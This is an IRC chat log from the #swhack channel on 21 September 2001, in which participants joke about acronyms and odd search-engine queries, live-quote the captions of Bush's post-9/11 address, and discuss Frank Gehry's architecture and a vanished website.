00:10:39 <sbp> yes 00:10:43 <sbp> :-) 00:10:46 <tav> bitch! 00:10:49 <sbp> lol 00:11:21 <sbp> * sbp thinks back to the last time he was called a bitch 00:12:42 <tav> so, what do you do for a living sbp? 00:12:58 <sbp> I quote the Simpsons 00:13:12 <tav> pays well i take it 00:13:20 <sbp> In my spare time, I watch The Simpsons 00:13:34 <tav> wow 00:13:41 <sbp> doesn't pay at all, but it's good work 00:13:56 <AaronSw> Who's Nelson? 00:14:02 <sbp> :-) 00:14:21 <sbp> I think he's at Nelson's!!! 00:14:59 <AaronSw> I mean the Nelson that there are books on. 00:15:00 <sbp> Homer: Aw, I hate folding sheets. Marge: Those are your underpants. Homer: Well, whatever: it's a two man job. Where's Bart? 00:15:19 <sbp> books on? 00:15:42 <tav> waterloo? 00:15:49 <tav> south africa? 00:15:55 <sbp> Ted? 00:16:35 <AaronSw> I was thinking Ted, but 1978 is a bit early... 00:16:57 <sbp> Er... yes... O.K., then... 00:17:01 <tav> * tav gives up trying to udnerstand 00:17:05 <sbp> * sbp too 00:17:10 <sbp> It's like in Chemistry 00:17:15 <tav> chemistry? 00:17:19 <tav> i loved chemistry 00:17:22 <sbp> I used to go into rants of odd basis on a frequent basis 00:17:31 <tav> odd basis? 00:17:41 <tav> strange material? 00:17:52 <sbp> I used to go fairly nuts 00:17:53 <sbp> and our teacher would just go "yeah Sean... O.K., sure..." 00:18:01 <tav> heh 00:18:08 <sbp> And I'd hang my head in shame and go "Aw..." 00:18:13 <AaronSw> Ahh, apparently Lord Horatio Nelson. 00:18:16 <tav> why in chemistry? 00:18:26 <sbp> 'cause Chemistry kicked-ass 00:18:45 <sbp> we had quite a young teacher, and she was more one of the students than the teachers :-) 00:18:52 <tav> also known as admiral horatio nelson ;p 00:18:55 <AaronSw> deltab seems to be in a tav-bashing mood today... 00:19:44 <deltab> AaronSw: it's not just today :-) 00:19:47 <tav> tav-basher! 00:19:48 <sbp> lol 00:20:14 <AaronSw> Well, it's good to see you have such a...frank...relationship with your employer. ;-) 00:20:57 <sbp> what's the opposite of sychophancy? I never knew until deltab came along 00:21:03 <deltab> heh 00:21:51 <sbp> interesting: http://www.google.com/search?hl=en&q=Lillian+goes+to+the+wattle+shop 00:22:02 <Morbus> i think i'll go play gran turisimo. i'm off. 00:22:08 <sbp> c'ya 00:22:10 <Morbus> Morbus is now known as Morbus-GT3 00:22:17 <sbp> lol 00:22:26 <sbp> I used to play GT1 for hours... cool game 00:22:33 <Morbus-GT3> yah. you have a ps2? it's insane. 00:22:57 <Morbus-GT3> Morbus-GT3 has quit 00:23:07 <Morbus> Morbus has joined #swhack 00:23:19 <sbp> make your mind up, dude 00:23:23 <Morbus> stupid alt-tab. 00:23:26 <sbp> :-) 00:23:27 <Morbus> Morbus is now known as Morbus-GT3 00:23:37 <Morbus-GT3> well, if alt-tab listened to my thoughts instead of this stupid "in order" theory, i'd be much happier 00:23:44 <sbp> lol 00:23:45 <tav> AaronSw: within esp, an open relationship is encouraged 00:24:02 <AaronSw> oh, good. You suck, then. ;-) 00:24:06 <sbp> lol 00:24:07 <AaronSw> j/k 00:24:16 <Morbus-GT3> hehe 00:24:21 <tav> be prepared to back up statements though ;p 00:24:40 <tav> e.g. my singing does sound really bad 00:24:46 <sbp> sbp has changed the topic to: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed 00:24:54 <AaronSw> Can you provide an MP3? 00:25:10 <tav> heh 00:25:16 <sbp> :-) 00:25:19 <tav> i don't think i could bear to listen to that 00:25:43 <AaronSw> But you're the one singing! 00:25:47 <AaronSw> You just have to record. 00:26:15 <sbp> Who's eberg? 00:26:26 <sbp> Yo, eberg! 00:26:50 <AaronSw> Well... he's an ex-VA employee who lives in New York and uses mutt and mailman. 00:27:10 <sbp> Ah. Great 00:27:39 <tav> * tav tries to figure out the context 00:27:41 <sbp> or as my ex-Chemistry teacher would say: "yeah Aaron... O.K., sure..." 00:27:50 <tav> heh 00:27:57 <AaronSw> * AaronSw is just guessing from: *** on channels: #ex-va #mutt #swhack #mailman #xfree86 #nylug 00:28:15 <sbp> :-) 00:28:57 <tav> hmz 00:29:07 <tav> how do you get your nicklist back in xchat? 00:29:21 <deltab> click the arrow 00:29:31 <tav> ? 00:29:43 <deltab> how did you lose it? 00:29:46 <AaronSw> Eek: """Last night, someone called a Boston radio station to propose that the US deport all the "Middle Eastern" students at colleges and universities in the Boston area, because they might be terrorists. The host, Ted Sarandis (who is normally a sensible fellow) agreed that this might be a good idea. 00:29:48 <AaronSw> Last night, someone called to worry that all the gas stations seem to be owned by "people like that", and perhaps they were all planning to blow them up. The Boston Globe reports that a convenience store in Somerville was set on fire by kids who (mistakenly) thought the owner was an Arab.""" 00:30:03 <tav> i took off all the menu / topic bars 00:30:08 <sbp> Ekk indeed 00:30:14 <sbp> s/Ekk/Eek 00:30:39 <tav> aha! 00:30:41 <tav> found it 00:30:51 <sbp> Where was it? Under the sofa? 00:31:07 <tav> if you right click, the full menu pops up, and user list is on there 00:31:22 <sbp> so, not under the sofa? 00:32:07 <tav> but, i did find a wonderful 2 pound coin under there yesterday 00:32:39 <tav> wonderful golden coin 00:33:51 <sbp> perhaps I use too many acronyms... 00:33:51 <sbp> http://www.google.com/search?hl=en&q=SW+URI+RDF+XHTML+XML 00:34:19 <tav> lol 00:34:46 <AaronSw> Ha, but you are not the http://www.google.com/search?q=acronym+king 00:35:09 <sbp> interesting 00:35:16 <AaronSw> "I have won the World Acronymics Tournament eight times in nine years. The only time I didn¹t, well, it was because my glasses were broken and I couldn¹t read the writing from the overhead projector. " 00:35:18 <AaronSw> Heh! 00:35:20 <sbp> [[[(Technically, an acronym is a "word" that one can pronounce made from the first letter(s) of a phrase; e.g., RAM for Random Access Memory. Combinations not pronounced are really abbreviations; e.g., IBM for International Business Machines. For purposes of simplicity here we've combined the two under the acronym heading. You can tell the difference by looking at the pronunciation guide on each page. If it's pronounced like a word, it's an acronym 00:35:43 <AaronSw> You didn't know that? 00:36:09 <AaronSw> """For example, Family Members I Don¹t Like But Can¹t Discard, I easily remember as FMIDLBCDs. And then Former Co-Workers Who Teased Me For My Obsession With Acronyms But Only Inspired Me To Do Better In The Hope That I Might Crush Them When I Gain Power are simply recorded in my mind as FCWTMFMOWABOIMTDBITHTIMCTWIGPs. You see, the trick to that one is to remember that ³co-worker² is represented not by a ³CW,² but by just a ³C.² """ 00:36:16 <AaronSw> - http://www.closetelvis.com/DMacronym.htm 00:37:56 <sbp> yeah, I just read that 00:37:57 <sbp> :-) 00:38:07 <sbp> didn't know: I don't think it's correct 00:38:27 <sbp> "FMIDLBCD" isn't an acronym, but the acronym king thinks that it is 00:39:19 <tav> heh 00:39:29 <tav> how people like to argue over totally useless things 00:39:38 <sbp> Pffffff, useless 00:40:14 <AaronSw> Mark Bernstein: "It's interesting to see how popular Buffy is with the hypertext theory crowd; fine writing is the key." 00:40:20 <AaronSw> * AaronSw doesn't watch Buffy. 00:40:26 <sbp> Aw, really? 00:40:38 <AaronSw> Really. 00:40:42 <tav> ! 00:40:56 <tav> i watch 3 things on tv... 00:41:04 <AaronSw> Ted Nelson's description of modern software as "like asking to paint, not with brushes, but with a cat. A live cat. With claws." 00:41:08 <tav> buffy, angel, dark angel 00:41:22 <sbp> dark angel? Hmm... 00:41:41 <AaronSw> I don't watch any TV on a regular basis. Once in a while, someone will say -- come watch this, and I'll watch a bit. 00:41:50 <tav> they started showing it 3 weeks ago here in the uk 00:42:27 <tav> AaronSw: aye, if it weren't for deltab i'd miss most tv 00:42:33 <sbp> It was longer ago than that 00:42:40 <AaronSw> Why deltab? 00:42:44 <sbp> they advertised it on Sky One for ages 00:43:05 <tav> he's the telly addict 00:43:23 <sbp> * sbp coins WFM 00:43:29 <tav> wfm? 00:43:49 <sbp> WFM, another new acronym! 00:43:57 <tav> wasted female minds? 00:43:59 <sbp> WFM, she's sexy 00:44:10 <sbp> WFM, Aaron did become the W3C director 00:44:33 <sbp> WFM, why can't tav guess what "WFM" stand for? 00:44:39 <AaronSw> Ahh, I get it. 00:44:46 <sbp> :-) 00:44:47 <AaronSw> Anytime, honey. 00:44:50 <sbp> lol 00:45:08 <sbp> * sbp runs, very quickly, in the opposite direction 00:45:09 <AaronSw> * AaronSw is practicing the "Just say yes." philosophy 00:45:15 <tav> why fuck me? 00:45:24 <AaronSw> s/why/well/ 00:45:31 <sbp> as you can tall, Aaron's philosophies leave a lot to be desired 00:45:37 <AaronSw> lol 00:45:59 <sbp> I'm always frightened of saying WFM, because of the responses it gets, but now... aha! 00:46:07 <tav> heh 00:46:10 <sbp> * sbp tries it out on another channel 00:46:35 <AaronSw> Hmm, Mark Bernstein names his machines Hope, Patience and Faith. 00:46:41 <sbp> debut:- 00:46:42 <sbp> * chillywilly gives thwaps with the trout all around 00:46:42 <sbp> * myrddian shoots Chillywilly with a railgun 00:46:42 <sbp> <myrddian> ZOOOP 00:46:42 <sbp> <sbp> WFM, this is getting to be a weird conversation 00:47:17 <sbp> <chillywilly> WFM? 00:47:18 <sbp> *** tav has joined #dotgnu 00:47:18 <sbp> <myrddian> How so SBP? 00:47:18 <sbp> <tav> chillywilly! 00:47:18 <sbp> <myrddian> Hey Tav 00:48:29 <sbp> * sbp is almost off of his chair with laughter 00:49:55 <AaronSw> How does Mark Bernstein get such weird animals where he lives? 00:49:57 <sbp> an impressive debut of an impressive new acronym 00:50:08 <sbp> weird animals? how so? 00:50:19 <AaronSw> Tufted Titmice 00:50:43 <AaronSw> Bufflehead ducks 00:52:58 <Morbus-GT3> Morbus-GT3 is now known as Morbus 00:53:20 <Morbus> are you reading through the search word logs of disobey again? 00:53:35 <sbp> * sbp wonders about http://www.acronymfinder.com/add.asp?acronym=WFM 00:54:28 <AaronSw> search word logs? 00:54:58 <Morbus> yeah, you know, what people found your site by in the search engines 00:55:18 <AaronSw> I know... what's in them? 00:55:27 <Morbus> all sorts of weirdo stuff. 00:55:33 <Morbus> never cease to amaze me. 00:55:43 <Morbus> lemme pull some good ones out 00:55:52 <AaronSw> hot uncensored morbus? 00:56:00 <sbp> WFM 00:56:51 <Morbus> pictures of inverted nipples 00:57:02 <Morbus> a meat locker were they store meat inside 00:57:09 <Morbus> pear pimples on hairy fishnuts 00:57:19 <sbp> lol! 00:57:23 <AaronSw> meat locker one is good 00:57:30 <Morbus> they get worse. 00:57:37 <Morbus> those are the popular results (3 or more) ;) 00:57:39 <sbp> hairy fishnuts? 00:58:03 <Morbus> ooh. how to make your dick bigger. i'm an expert on that apparently 00:58:17 <Morbus> uncircumcised and airport. 00:58:23 <Morbus> yeah, ok. that's an interesting combo 00:58:38 <Morbus> i think i'll go play gran turisimo. i'm off. 00:58:43 <Morbus> patton poor son of a bitch die for his country movie script 00:58:43 <sbp> these heathen airports... 00:58:45 <Morbus> stupid cut and paste 00:59:01 <Morbus> heh. tic tac toe algorithm 00:59:09 <sbp> s/heathen/gentile 00:59:10 <AaronSw> Ooh, presidential address 00:59:14 <Morbus> people who like to sniff monkey butts 00:59:30 <sbp> I'm just wondering why these searches lead to your site 00:59:37 <Morbus> south pacific virus spread due to volcano eruption 00:59:50 <Morbus> i have talked about so much since 97, sbp... 01:00:00 <sbp> lol 01:00:11 <Morbus> bwahaha. 01:00:16 <Morbus> tender nutsacks 01:00:23 <Morbus> man, that's a good one. i pity that man 01:00:34 <AaronSw> <CC> >> PRESIDENT IS MAKING HIS 01:00:34 <AaronSw> <CC> WAY NOW, TO THE CHAMBER HE 01:00:34 <AaronSw> <CC> WILL BE ANNOUNCED, BRIEFLY. 01:00:34 <sbp> lol! what page of yours did that lead to, though? 01:00:52 <Morbus> kamikazi eclipse body kit 01:00:53 <sbp> ooh, what channel is that again, Aaron? 01:00:57 <Morbus> why do women go to the washroom in pairs? 01:01:01 <AaronSw> CNN_newsfeed 01:01:12 <AaronSw> irc://chat.cnn.com/CNN_Newsfeed 01:01:29 <Morbus> so what's this announcement all about? or is he just gonna get all swelled with american pride again? 01:01:54 <Morbus> Morbus has quit 01:02:07 <Morbus> Morbus has joined #swhack 01:02:16 <sbp> wb 01:02:31 <Morbus> thanks. apparently athena still crashes when you do multiserver connects 01:02:46 <sbp> aha: http://www.google.com/search?q=site%3Adisobey.com+tender+nutsacks 01:02:51 <AaronSw> Sean, did you submit WFM to acronymfinder? 01:03:31 <Morbus> ah. heh 01:03:47 <sbp> nope 01:04:11 <tav> bbs 01:04:11 <AaronSw> You should. 01:04:17 <AaronSw> http://acronymfinder.com/add.asp?acronym=wfm 01:04:19 <Morbus> i'm a loser. what's the /list syntax for min 3 users? 01:04:22 <sbp> brb 01:05:00 <Morbus> ooh. hey. no flood. nevermind 01:05:42 <sbp> nah, nutsacks to it 01:06:00 <sbp> * sbp feels his vocabulary growing day by day 01:06:10 <Morbus> lol 01:06:19 <Morbus> put it in your meat locker and smoke it 01:06:26 <sbp> lol 01:07:50 <sbp> How many acronyms have the exact second they were coined noted? 01:08:02 <sbp> "00:43:23 <sbp> * sbp coins WFM" - http://blogspace.com/swhack/chatlogs/2001-09-21.txt 01:10:08 <AaronSw> Huh? 01:10:13 <AaronSw> Bush: <CC> AMERICA HAS NO TRUER FRIEND 01:10:13 <AaronSw> <CC> THAN GREAT BRITAIN. 01:10:22 <Morbus> uhhh. 01:11:11 <AaronSw> Tony Blair came to the speech! 01:11:16 <sbp> I guess that Tony Blair must be over there in that conference then? 01:11:18 <sbp> yeah 01:11:28 <AaronSw> Bush doesn't know his name. 01:12:04 <AaronSw> Heh: 01:12:06 <AaronSw> <CC> AMERICANS ARE ASKING, "WHO 01:12:06 <AaronSw> <CC> TALKED OUR COUNTRY?" 01:12:21 <sbp> <CC> AMERICANS HAVE MANY 01:12:21 <sbp> <CC> QUESTIONS TONIGHT. 01:12:21 <sbp> <CC> AMERICANS ARE ASKING, "WHO 01:12:21 <sbp> <CC> TALKED OUR COUNTRY?" 01:12:26 <sbp> what? 01:12:33 <sbp> yeah, I just read the same thing :-) 01:13:17 <AaronSw> Ooh, he fingers Osama Bin Laden. 01:13:36 <sbp> yeah 01:13:55 <sbp> and identifies their organization 01:15:42 <sbp> wow:- 01:15:44 <sbp> <CC> AND TONIGHT THE UNITED 01:15:45 <sbp> <CC> STATES OF AMERICA MAKES THE 01:15:45 <sbp> <CC> FOLLOWING DEMANDS ON THE 01:15:45 <sbp> <CC> TALIBAN: DELIVER TO UNITED 01:15:45 <sbp> <CC> STATES AUTHORITIES ALL THE 01:15:45 <sbp> <CC> LEADERS OF AL-QAEDA WHO HIDE 01:15:47 <sbp> <CC> IN YOUR LAND. 01:16:13 <AaronSw> ... 01:16:14 <AaronSw> <CC> YOU CAN BE JAILED FOR OWNING 01:16:14 <AaronSw> <CC> A TELEVISION. 01:16:18 <AaronSw> Doesn't sound bad to me. ;-) 01:16:23 <sbp> or having a short beard 01:16:45 <Morbus> i need a grep or sed that will strip out all lines of an ip from a logfile. 01:16:51 <Morbus> so that i can say "remove all localhost and 127 from this file" 01:16:56 <sbp> [...] 01:16:57 <sbp> <CC> THESE DEMANDS ARE NOT O NOT 01:16:57 <sbp> <CC> OPEN TO NEGOTIATION OR 01:16:57 <sbp> <CC> DISCUSS. 01:18:34 <AaronSw> A redeeming quality: 01:18:44 <AaronSw> <CC> THE ENEMY OF AMERICA IS NOT 01:18:44 <AaronSw> <CC> OUR MANY MUSLIM FRIENDS. 01:18:44 <AaronSw> <CC> IT IS NOT OUR MANY ARAB 01:18:44 <AaronSw> <CC> FRIENDS. 01:20:59 <AaronSw> ... 01:21:00 <AaronSw> <CC> POWER, THEY FOL IN THE PATH 01:21:00 <AaronSw> <CC> OF FASCISM, NATSAM -- NATSISM 01:21:00 <AaronSw> <CC> TOTALITARIAN SUPER BOWL WILL 01:21:33 <sbp> what?:- 01:21:33 <sbp> THEY FOL IN THE PATH 01:21:33 <sbp> <CC> OF FASCISM, NATSAM -- NATSISM 01:21:33 <sbp> <CC> TOTALITARIAN SUPER BOWL WILL 01:21:33 <sbp> <CC> FOLLOW THAT PATH ALL THE WAY 01:21:33 <sbp> <CC> TO WHERE IT ENDS 01:21:49 <sbp> aw, man... how do you always get there before me? 01:22:00 <AaronSw> My connection isn't as lagged, it seems. 01:22:07 <sbp> we can't work out if it 01:22:17 <sbp> s typed, or voice recognized 01:22:44 <AaronSw> Ugh... 01:22:46 <AaronSw> <CC> AMERICANS SHOULD NOT EXPECT 01:22:46 <AaronSw> <CC> ONE BATTLE. 01:22:47 <AaronSw> <CC> BUT A LENGTHY CAMPAIGN, 01:22:47 <AaronSw> <CC> UNLIKE ANY OTHER WE HAVE 01:22:47 <AaronSw> <CC> EVER SEEN. 01:23:11 <AaronSw> Polarizing: 01:23:12 <AaronSw> <CC> EITHER YOU ARE WITH US, OR 01:23:12 <AaronSw> <CC> YOU ARE WITH THE TERRORISTS. 01:23:34 <sbp> <CC> EVERY NATION AND EVERY 01:23:34 <sbp> <CC> REGION NOW HAS DECISION TO 01:23:34 <sbp> <CC> MAKE. 01:23:34 <sbp> <CC> EITHER YOU ARE WITH US, OR 01:23:34 <sbp> <CC> YOU ARE WITH THE TERRORISTS. 01:23:39 <sbp> oh, damnit! 01:23:43 <Morbus> Morbus has quit 01:23:46 <AaronSw> look before you paste! 01:23:56 <Morbus> Morbus has joined #swhack 01:23:59 <sbp> gblmbglmgblmfr 01:24:36 <AaronSw> Who's 01:24:37 <AaronSw> <CC> PENNSYLVANIA'S TOM REGION. 01:24:37 <AaronSw> ? 01:24:41 <sbp> Tom Region? 01:24:53 <sbp> yeah, I was just thinking that, but I knew you'd paste it :-) 01:25:21 <AaronSw> Sounds like ridge...rich on TV 01:26:07 <AaronSw> Aww, shoot: 01:26:09 <AaronSw> <CC> THE HOUR IS COMING WHEN 01:26:09 <AaronSw> <CC> AMERICA WILL ACT, AND YOU 01:26:09 <AaronSw> <CC> WILL MAKE US PROUD. 01:26:39 <sbp> interesting: http://www.lovecalculator.com/love.php?name1=Niles+Crane&name2=Daphne+Moon 01:26:54 <Morbus> Morbus has quit 01:27:27 <Morbus> Morbus has joined #swhack 01:27:53 <Morbus> heh. i love osx. 01:28:05 <Morbus> this stupid irc program didn't save my prefs, so i jumped into the pref file and edited it manually 01:28:11 <AaronSw> You just seem unlucky. 01:28:24 <Morbus> i know. i unno what my problem is 01:28:30 <sbp> <CC> AMERICANS ARE ASKING WHAT IS 01:28:30 <sbp> <CC> EXPECTED OF US? 01:28:30 <sbp> <CC> I ASK YOU TO LIVE YOUR LIVES, 01:28:30 <sbp> <CC> AND HUG YOUR CHILDREN. 01:28:43 <AaronSw> I was just going to paste thart. 01:29:08 <sbp> :-) 01:29:51 <AaronSw> Central source of information: http://libertyunites.org/ says Bush. 01:29:56 <sbp> <CC> INCONVENDLOENS MAY ACCOMPANY 01:30:00 <sbp> ? 01:30:12 <AaronSw> Bush can't speak. 01:30:17 <sbp> weird stenography 01:33:17 <sbp> Pataki and Giuliani might be speaking now... well, they're there at least 01:33:35 <AaronSw> They just sit in the audience. 01:33:49 <sbp> A 01:33:50 <sbp> h 01:33:56 <sbp> Rebuild NYC? 01:34:13 <sbp> I doubt they'll rebuild the WTC 01:34:50 <AaronSw> I hope they put that Frank Gehry building up. 01:35:05 <sbp> Frank Gehry? 01:35:20 <AaronSw> You know... famous architect. Guggenheim Bilbao 01:35:35 <AaronSw> He did a skyscraper for the NYTimes that looked like it was having convulsions. 01:35:38 <AaronSw> They should put that up. 01:35:54 <sbp> Hmm... 01:39:56 <sbp> sbp has quit 01:39:56 <deltab> deltab has quit 01:40:00 <deltab> deltab has joined #swhack 01:40:08 <sbp> sbp has joined #swhack 01:40:25 <AaronSw> Well, that was interesting. 01:40:37 <sbp> yes 01:41:37 <sbp> "(Matt) [GlobalSpam] niven.openprojects.net will be going down for a short period of maintainance shortly. It should be right back - thanks" 01:42:07 <AaronSw> I meant Bush. 01:42:24 <sbp> Yeah, I know 01:42:32 <AaronSw> hmm, some guy is requesting a bunch of Arab RSS feeds... 01:42:44 <sbp> on CNN? 01:42:47 <sbp> :-) 01:42:53 <AaronSw> heh 01:43:11 <sbp> neat: http://www.google.com/search?q=WFM+%22well+fuck+me%22&hl=en 01:43:37 <AaronSw> neat? 01:43:42 <sbp> neat 01:43:50 <sbp> WFM, no results! 01:44:08 <AaronSw> Ahh, here's the proposed Gehry skyscraper: http://www.guggenheim.org/exhibitions/gehry/ny_times_31.html 01:44:15 <sbp> ah, thanks 01:44:39 <AaronSw> Some of his work is really beautiful. 01:45:11 <sbp> Wow... weird 01:45:47 <sbp> How's that supposed to work? 01:45:57 <AaronSw> What do you mean? 01:46:08 <sbp> Well, how does it work? 01:46:37 <AaronSw> He's building <http://www.guggenheim.org/exhibitions/gehry/millenium_30.html> downtown. 01:46:41 <AaronSw> It should be neat. 01:46:44 <sbp> offices behind the twisty bits? Twisty offices? 01:47:36 <AaronSw> I'd want a twisty office. 01:47:37 <sbp> wow! 01:48:28 <sbp> your filing cabinets would keep falling over 01:48:39 <sbp> and where would you put the polar bear? 01:48:44 <AaronSw> And they're building http://www.guggenheim.org/exhibitions/gehry/stat_28.html right by MIT. I walk the construction site whenever I'm in town. 01:48:54 <AaronSw> Ooh, they're putting LCS in there! 01:49:03 <AaronSw> Which office is TimBL's d'ya think? 01:49:05 <AaronSw> ;-) 01:49:23 <sbp> :-) 01:50:12 <sbp> the one on the left 01:52:42 <AaronSw> I have this chair! http://www.guggenheim.org/exhibitions/gehry/furniture_01.html 01:53:03 <AaronSw> It's apparently quite valuable nowadays. 01:53:42 <AaronSw> They were selling a miniature model for like $100 at the Museum downtown. 01:54:03 <sbp> blimey 01:55:34 <AaronSw> Oh, and I thought this cafeteria was just great. http://www.guggenheim.org/exhibitions/gehry/condenast_22.html 01:55:42 <AaronSw> I want to eat there! 01:58:44 <sbp> Oh crap, another site seems to have vanished... 01:58:51 <sbp> and I can' 01:58:54 <sbp> t find 01:58:57 <sbp> my cache of it 01:59:01 <AaronSw> Use the archiver, man. 01:59:11 <sbp> Ah... what URI? 01:59:20 <AaronSw> No, I mean ArchiverProxy. 01:59:46 <sbp> Oh... too late for that! 02:01:43 <sbp> it's weird... it's totally vanished. No trace, even on my hard drive 02:02:02 <AaronSw> Another mysterylights site? 02:02:07 <AaronSw> oooh oooooh oooh 02:02:31 <Morbus> slow down aaron, you're young still 02:02:39 <AaronSw> Eh? 02:02:43 <Morbus> heh. forget it 02:02:55 <AaronSw> oh... heh 02:02:59 <Morbus> heheheh 02:03:11 <sbp> oooh oooooh oooh? do I detect sarcasm? 02:03:20 <AaronSw> see, you really need the music to go along with it. 02:03:47 <AaronSw> Ok... i'm going to shut my mouth now before anything else gets misinterpreted. 02:03:57 <Morbus> lol 02:03:57 <sbp> please do :-) 02:04:07 <sbp> He he he 02:04:45 <sbp> * sbp is still searching feverently for the non-existent site 02:05:01 <AaronSw> Want me to try and Alexa it? 02:05:36 <sbp> I doubt you'll find anything... I have no idea how I even found it, and my page is the only mention of it on Google 02:06:26 <AaronSw> Morbus does dead sites, right Morby? 02:06:33 <Morbus> yah. 02:06:39 <sbp> "does"? 02:06:41 <Morbus> i see dead sites 02:06:52 <sbp> Well, it's: http://asms.k12.ar.us/armem/99-00/KnodJ/Index.htm 02:06:56 <AaronSw> Ick, you got me all in Junior High mode, now, Morbus. 02:07:03 <Morbus> bwahahaha. 02:07:12 <sbp> can you Alexa it? 02:07:19 <AaronSw> Heh, an Arkansas student. 02:08:22 <sbp> Yes... 02:09:14 <AaronSw> No luck... 02:09:16 <AaronSw> Traffic: 1 star 02:09:26 <sbp> Aw, man... 02:09:26 <AaronSw> Links in: 121 02:09:34 <sbp> Links in? 02:09:43 <AaronSw> I think it means links pointing to that page. 02:09:49 <sbp> Ooh! Do you have a list? 02:09:54 <AaronSw> No. 02:09:59 <sbp> Crud.. 02:10:00 <sbp> . 02:10:16 <AaronSw> Did you ask Google? 02:10:24 <sbp> I still can't find it in my archives! It's bizarre. I definitely cached it... ah, but we had a power cut 02:10:33 <sbp> Google: of course 02:10:53 <sbp> No, hang on... my computer definitely saved it 02:11:36 <AaronSw> Total Alexa Visits: 95 02:12:10 <AaronSw> Blogspace.com, on the other hand has 357 visits. 02:12:27 <sbp> how about infomesh.net? 02:12:29 <AaronSw> Disobey.com has a whopping 2,853 02:12:36 <Morbus> w000t! 02:12:43 <Morbus> :) 02:12:54 <AaronSw> Infomesh.net beats them all, of course: 02:12:55 <AaronSw> 60 02:12:57 <Morbus> i'm speshul 02:13:28 <AaronSw> Yes, Morbus. 02:13:53 <AaronSw> Heh, related links to http://infomesh.net/sbp/ -- http://www.w3.org/WAI 02:14:00 <sbp> Heh 02:14:06 <sbp> Gmgpmgmpgmgh: 60 02:14:10 <sbp> try mysterylights.com 02:14:34 <AaronSw> Whoa: 30 02:14:45 <AaronSw> Links In: 1 02:15:27 <sbp> WFM 02:15:44 <AaronSw> Man, you need to install Alexa. 02:16:10 <AaronSw> Huh??? 02:16:11 <AaronSw> <CC> ( school bell ringing ) 02:16:11 <AaronSw> <CC> HI! 02:16:11 <AaronSw> <CC> BYE! 02:16:12 <AaronSw> <CC> SHE'S NOT YOUR DAUGHTER. 02:16:12 <AaronSw> <CC> BUT IF YOU GIVE HER 02:16:13 <AaronSw> <CC> A RIDE HOME AFTER SCHOOL, 02:16:15 <AaronSw> <CC> SHE MIGHT AS WELL BE. 02:16:36 <sbp> Advert? 02:16:46 <Morbus> i think i saw that previewed earlier 02:16:54 <Morbus> its one of those things about being responsible for other people's kids or something 02:17:04 <Morbus> scare tactic about all the shite that can go wrong probably 02:17:11 <Morbus> and how some mom sued her best friend and won 02:17:44 <AaronSw> Yuck. 02:18:07 <AaronSw> Morbus, your Mom use Alexa or something? 02:18:21 <Morbus> uh. i wouldn't know. haven't talked to her in years 02:19:23 <AaronSw> Oh. 02:20:20 <sbp> Hello? 02:20:28 <Morbus> hey. why do you ask aar 02:20:28 <AaronSw> what's up? 02:20:37 <sbp> IE just crashed... 02:20:55 <AaronSw> I was just joking about your high hit count, Morbus. 02:21:08 <Morbus> oOoOOoooh... 02:21:14 <AaronSw> You know, as in "a website only a mother could love". 02:21:26 <AaronSw> ;-0 02:21:27 <Morbus> heh. nah, i don't need to inflate my numbers, loser;) 02:21:33 <sbp> What's disobey.com about, anyway? 02:21:48 <AaronSw> You. 02:21:52 <Morbus> there's no guiding theme. "content for the discontented" 02:21:54 <sbp> * sbp wonders if it might be easier to just *go* there 02:21:59 <Morbus> prolly :) 02:22:05 <Morbus> there's an about section and all that jazz 02:22:25 <sbp> butt clevage: charming 02:22:34 <sbp> s/clevage/cleavage 02:22:44 <AaronSw> Does the TINAC collective have a website? 02:22:51 <Morbus> that was posted by some canadian mojo. they prolly spell it that way up there 02:23:35 <sbp> Wow, and I'm talking to the dude: http://www.disobey.com/about/morbus.shtml 02:23:43 <sbp> that makes me feel special 02:23:43 <Morbus> lol 02:23:50 <Morbus> wanna know what makes me feel special? 02:23:55 <Morbus> disobey.com/about/presspit.shtml 02:23:57 <Morbus> :) 02:24:05 <Morbus> 2 months outta date though. hard to keep up 02:24:09 <sbp> I though Nostradamus predicted "Mabbus"? 02:24:25 <Morbus> well, as mentioned, i can't even find the original reference, 02:24:34 <Morbus> but even if he didn't, the after effects of "disease" fit nicely 02:24:48 <AaronSw> Yeah, when I first saw http://disobey.com/about/presspit.shtml I thought I was talking to some big famous Web dude. But then I found out you were just a regular jerk. 02:24:49 <sbp> lol 02:24:57 <Morbus> LOLLL... 02:25:00 <Morbus> bwahaahha. ok. that rocked 02:25:37 <AaronSw> * AaronSw wonders what's so funny 02:25:56 <AaronSw> :-) 02:26:00 <sbp> What kind of music do you like? 02:26:08 <Morbus> you know, this is the funny thing 02:26:11 <sbp> * sbp runs for cover 02:26:15 <Morbus> i've just plain old come to expect that question, now 02:26:23 <Morbus> MORE people ask me now then before ;) 02:26:35 <AaronSw> than before what? 02:26:43 <sbp> well, it's a bit daft tellign people *not* to ask. *Don't* push the red button 02:26:50 <Morbus> the shiny red button 02:27:01 <Morbus> the shiny candy like button 02:27:04 <sbp> yeah... you just have to push it 02:27:11 <Morbus> that beckons ever so beckoningly 02:27:17 <Morbus> anyone remember space madness from ren and stimpy? 02:27:26 <AaronSw> Hey, I love plain Success Rice! 02:27:34 <Morbus> what, you chinese? 02:27:36 <Morbus> :) 02:27:45 <AaronSw> Ahh, Ren and Stimpy... 02:27:47 <Morbus> actually, i haven't had it in so long i probably *do* like it now 02:28:19 <sbp> Woo! I found the site on my Hard Drive... 02:28:32 <sbp> ren and stimpy: I rmemeber the cow blowing up 02:29:00 <AaronSw> * AaronSw apologizes if he's offended Morbus 02:29:02 <sbp> when Stimpy joins the lodge, and Ren is crying... and all that paper and junk is blowing past him, and all of a sudden there 02:29:06 <sbp> 's a cow there 02:29:19 <sbp> that cow was soooo funny 02:29:28 <Morbus> no, aaronSw, you've got to do a lot worse :) 02:29:29 <sbp> hello? 02:29:41 <AaronSw> boo 02:29:46 <Morbus> booboolina.com? 02:29:48 <sbp> aaargh! 02:29:52 <Morbus> poopoochoochoo.com? 02:30:10 <sbp> is there a morbus.com? 02:30:40 <AaronSw> yes 02:30:48 <AaronSw> morbus.com (MORBUS3-DOM) 02:30:48 <AaronSw> morbus@nicaragua.nu 02:30:49 <AaronSw> 702 Ave Plaza 02:30:49 <AaronSw> Leon, LE 32700 02:30:50 <AaronSw> NI 02:31:06 <Morbus> heh. yeah, some guy tried to sell it to me once. 02:31:29 <sbp> heh 02:32:23 <AaronSw> I mean, hey, the guy's from Nicaragua. 02:32:43 <AaronSw> He probably thought, hey, that Morbuse dude is a hoopy frood. 02:32:52 <AaronSw> I'll buy morbus.com to build an awesome fan site. 02:32:58 <sbp> 